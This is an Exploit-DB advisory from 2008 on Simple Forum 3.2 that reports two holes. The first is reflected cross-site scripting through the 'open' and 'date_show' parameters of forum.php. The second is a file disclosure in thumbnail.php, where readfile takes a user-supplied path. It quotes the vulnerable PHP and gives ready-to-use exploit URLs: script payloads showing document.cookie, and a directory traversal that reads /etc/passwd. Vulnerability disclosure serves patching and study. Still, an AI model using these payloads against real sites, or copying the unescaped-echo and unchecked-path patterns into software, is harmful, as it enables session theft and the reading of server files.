Simple Forum 3.2 - File Disclosure / Cross-Site Scripting

EDB-ID:

4989


Platform:

PHP

Published:

2008-01-26

           ########################################################
           #                                                      #
           # SIMPLE FORUM v 3.2 MULTIPLE VULNERABILITIES          #
           # author      : tomplixsee                             #  
           # my email    : tomplixsee@yahoo.co.id                 #
           #                                                      #	       
           # software    : SIMPLE FORUM v3.2                      #
           # download    : http://www.gerd-tentler.de/tools/forum/#
           #                                                      #
           ########################################################


1.XSS 
  vulnerable code on forum.php
  
  <?
  .....
  if(isset($_REQUEST['date_show'])) $date_show = $_REQUEST['date_show'];
  .....
  if(isset($_REQUEST['open'])) $open = $_REQUEST['open'];
  .....
  <input type="hidden" name="date_show" value="<? echo $date_show; ?>">
  <input type="hidden" name="open" value="<? echo $open; ?>">
  .....
example:
  http://target/path/forum.php?open="/><script>alert(document.cookie)</script>
  http://target/path/forum.php?date_show="/><script>alert(document.cookie)</script>


2.Remote File Disclosure
  vulnerable code on thumbnail.php
  
  <?
  ....
  if(isset($_REQUEST['file'])) $file = $_REQUEST['file'];
  if(isset($_REQUEST['type'])) $type = $_REQUEST['type'];
  ....
  switch($type) {
      case 1:
        if($img && function_exists('ImageGIF')) {
          header('Content-type: image/gif');
          @ImageGIF($img);
        }
        else if($img && function_exists('ImagePNG')) {
          header('Content-type: image/png');
          @ImagePNG($img);
        }
        else {
          header('Content-type: image/gif');
          readfile($file);
        }
      break;

      case 2:
        header('Content-type: image/jpeg');
        if($img && function_exists('ImageJPEG')) @ImageJPEG($img);
        else readfile($file);
      break;

      case 3:
        header('Content-type: image/png');
        if($img && function_exists('ImagePNG')) @ImagePNG($img);
        else readfile($file);
      break;
              }
  ....
  ?>

example:
 http://target/path/thumbnail.php?type=3&file=../../../../../../../etc/passwd
 then try to view the page source :D



salam tuk:
ira, sukabirus network community, akillers 179,bidulux,sibalbal,crutz_ao,  

# milw0rm.com [2008-01-26]